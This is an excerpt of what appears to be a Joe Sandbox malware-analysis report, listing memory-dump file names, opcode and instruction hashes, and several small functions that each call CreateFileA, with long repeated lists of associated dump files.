Associated: 00000006.00000002.2555614296.0000000000C88000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555683057.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555788933.0000000000CC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555843802.0000000000CC9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555950152.0000000000CCE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CCF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CD5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556120383.0000000000CE4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556160718.0000000000CE6000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a30000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f710d0ab61f9a33b27308a88ec0e35260e4a003b1775f55c23e9142fa3711d7f
Instruction ID: 13b4a2266ad8df86dba0da868a80d4e643b8c5c52355daeca88c3baf57527567
Opcode Fuzzy Hash: f710d0ab61f9a33b27308a88ec0e35260e4a003b1775f55c23e9142fa3711d7f
Instruction Fuzzy Hash: 31E0DF7014519AA7C705AF288CD1F7DB7A0EF43308F3449DDE982AA4D3D6720C879345

Function 00BC12D1 Relevance: 1.5, APIs: 1, Instructions: 24
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00BC1322

Memory Dump Source

Source File: 00000006.00000002.2551063753.0000000000BBB000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000006.00000002.2550511378.0000000000A30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550539027.0000000000A32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550598595.0000000000A36000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550678878.0000000000A3A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550706524.0000000000A44000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550768063.0000000000A45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550798496.0000000000A46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551004160.0000000000B9F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551030802.0000000000BA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551063753.0000000000BC8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551125572.0000000000BCC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551150375.0000000000BCF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551174472.0000000000BD0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551199600.0000000000BD2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551225577.0000000000BDB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551249074.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551282877.0000000000BFF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551307135.0000000000C0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551335094.0000000000C17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551364923.0000000000C1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551394964.0000000000C2A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551423939.0000000000C2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551452144.0000000000C30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551483441.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551511491.0000000000C40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551559247.0000000000C47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551860500.0000000000C52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551891735.0000000000C54000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551918967.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551949040.0000000000C5F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551977202.0000000000C61000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552011142.0000000000C64000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552041210.0000000000C6C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552103705.0000000000C6D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552137090.0000000000C79000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552170230.0000000000C7B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552220969.0000000000C87000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555614296.0000000000C88000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555683057.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555788933.0000000000CC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555843802.0000000000CC9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555950152.0000000000CCE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CCF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CD5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556120383.0000000000CE4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556160718.0000000000CE6000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a30000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f2e6825a3137979bc7f575dc3eec9b7f89b961865815fadc268d4190defcd237
Instruction ID: 23e0b57f368c3c98dbe2088713dc48b2188ae64b89e29109f24c474d0b4776cf
Opcode Fuzzy Hash: f2e6825a3137979bc7f575dc3eec9b7f89b961865815fadc268d4190defcd237
Instruction Fuzzy Hash: F8E0D8B25481EBBED310DB188C90B6D3284C787314B7485AD9801EB187C1579C035678

Function 00BC1091 Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2551063753.0000000000BBB000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000006.00000002.2550511378.0000000000A30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550539027.0000000000A32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550598595.0000000000A36000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550678878.0000000000A3A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550706524.0000000000A44000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550768063.0000000000A45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550798496.0000000000A46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551004160.0000000000B9F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551030802.0000000000BA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551063753.0000000000BC8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551125572.0000000000BCC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551150375.0000000000BCF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551174472.0000000000BD0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551199600.0000000000BD2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551225577.0000000000BDB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551249074.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551282877.0000000000BFF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551307135.0000000000C0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551335094.0000000000C17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551364923.0000000000C1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551394964.0000000000C2A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551423939.0000000000C2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551452144.0000000000C30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551483441.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551511491.0000000000C40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551559247.0000000000C47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551860500.0000000000C52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551891735.0000000000C54000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551918967.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551949040.0000000000C5F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551977202.0000000000C61000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552011142.0000000000C64000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552041210.0000000000C6C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552103705.0000000000C6D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552137090.0000000000C79000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552170230.0000000000C7B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552220969.0000000000C87000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555614296.0000000000C88000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555683057.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555788933.0000000000CC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555843802.0000000000CC9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555950152.0000000000CCE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CCF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CD5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556120383.0000000000CE4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556160718.0000000000CE6000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a30000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9e913629dd877f9b43ef9d007306cdde55e0a3e40ae09cb9aa2228c1428d19e2
Instruction ID: f96d21bd0b36a498dd9f4bdc13be036afd4b4c47bb94ecf4172bef55733465f8
Opcode Fuzzy Hash: 9e913629dd877f9b43ef9d007306cdde55e0a3e40ae09cb9aa2228c1428d19e2
Instruction Fuzzy Hash: C6E0DF604482C6A7C706AF648CD0BA9B7A0EF43304F2448ECE181AA483E372048AA346

Function 00BC10A2 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2551063753.0000000000BBB000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000006.00000002.2550511378.0000000000A30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550539027.0000000000A32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550598595.0000000000A36000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550678878.0000000000A3A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550706524.0000000000A44000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550768063.0000000000A45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550798496.0000000000A46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551004160.0000000000B9F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551030802.0000000000BA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551063753.0000000000BC8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551125572.0000000000BCC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551150375.0000000000BCF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551174472.0000000000BD0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551199600.0000000000BD2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551225577.0000000000BDB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551249074.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551282877.0000000000BFF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551307135.0000000000C0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551335094.0000000000C17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551364923.0000000000C1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551394964.0000000000C2A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551423939.0000000000C2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551452144.0000000000C30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551483441.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551511491.0000000000C40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551559247.0000000000C47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551860500.0000000000C52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551891735.0000000000C54000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551918967.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551949040.0000000000C5F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551977202.0000000000C61000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552011142.0000000000C64000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552041210.0000000000C6C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552103705.0000000000C6D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552137090.0000000000C79000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552170230.0000000000C7B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552220969.0000000000C87000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555614296.0000000000C88000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555683057.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555788933.0000000000CC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555843802.0000000000CC9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555950152.0000000000CCE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CCF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CD5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556120383.0000000000CE4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556160718.0000000000CE6000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a30000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0cbba4587dea101d110323544aa97d1cac9284dbb01eab16f6dab1f4e812398f
Instruction ID: 9a6ee85a533dcd91abd576a06c1d306f66695ab94e86773b87efe9698dd3f7e4
Opcode Fuzzy Hash: 0cbba4587dea101d110323544aa97d1cac9284dbb01eab16f6dab1f4e812398f
Instruction Fuzzy Hash: 0EE0263114428AA7C706AF24CCC179CB7A0EF03308F3848DCD08095483E6A5044A8346

Function 00BC10BD Relevance: 1.5, APIs: 1, Instructions: 18
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00BC10C4

Memory Dump Source

Source File: 00000006.00000002.2551063753.0000000000BBB000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000006.00000002.2550511378.0000000000A30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550539027.0000000000A32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550598595.0000000000A36000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550678878.0000000000A3A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550706524.0000000000A44000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550768063.0000000000A45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550798496.0000000000A46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551004160.0000000000B9F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551030802.0000000000BA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551063753.0000000000BC8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551125572.0000000000BCC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551150375.0000000000BCF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551174472.0000000000BD0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551199600.0000000000BD2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551225577.0000000000BDB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551249074.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551282877.0000000000BFF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551307135.0000000000C0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551335094.0000000000C17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551364923.0000000000C1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551394964.0000000000C2A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551423939.0000000000C2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551452144.0000000000C30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551483441.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551511491.0000000000C40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551559247.0000000000C47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551860500.0000000000C52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551891735.0000000000C54000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551918967.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551949040.0000000000C5F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551977202.0000000000C61000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552011142.0000000000C64000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552041210.0000000000C6C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552103705.0000000000C6D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552137090.0000000000C79000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552170230.0000000000C7B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552220969.0000000000C87000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555614296.0000000000C88000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555683057.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555788933.0000000000CC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555843802.0000000000CC9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555950152.0000000000CCE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CCF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CD5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556120383.0000000000CE4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556160718.0000000000CE6000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a30000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0744d243a145257fd86dc89775d751bd82034483ecda03e19d942d232ea25f97
Instruction ID: 0b545a9262bc4cacc74f6c41f98f7825d7cd04af6b8951c6b0c436977fefcdd4
Opcode Fuzzy Hash: 0744d243a145257fd86dc89775d751bd82034483ecda03e19d942d232ea25f97
Instruction Fuzzy Hash: BCD0123164D39A35D701EF6489D1BAD7A90DB96604F10444DE248E1982D6D51C529B09

Function 00BC12FD Relevance: 1.5, APIs: 1, Instructions: 17fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00BC1322

Memory Dump Source

Source File: 00000006.00000002.2551063753.0000000000BBB000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000006.00000002.2550511378.0000000000A30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550539027.0000000000A32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550598595.0000000000A36000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550678878.0000000000A3A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550706524.0000000000A44000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550768063.0000000000A45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2550798496.0000000000A46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551004160.0000000000B9F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551030802.0000000000BA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551063753.0000000000BC8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551125572.0000000000BCC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551150375.0000000000BCF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551174472.0000000000BD0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551199600.0000000000BD2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551225577.0000000000BDB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551249074.0000000000BE1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551282877.0000000000BFF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551307135.0000000000C0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551335094.0000000000C17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551364923.0000000000C1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551394964.0000000000C2A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551423939.0000000000C2F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551452144.0000000000C30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551483441.0000000000C33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551511491.0000000000C40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551559247.0000000000C47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551860500.0000000000C52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551891735.0000000000C54000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551918967.0000000000C5B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551949040.0000000000C5F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2551977202.0000000000C61000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552011142.0000000000C64000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552041210.0000000000C6C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552103705.0000000000C6D000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552137090.0000000000C79000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552170230.0000000000C7B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552220969.0000000000C87000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555614296.0000000000C88000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555683057.0000000000CBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555788933.0000000000CC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555843802.0000000000CC9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555950152.0000000000CCE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CCF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555986609.0000000000CD5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556120383.0000000000CE4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2556160718.0000000000CE6000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a30000_BF3BS0M5707K28RGW9.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
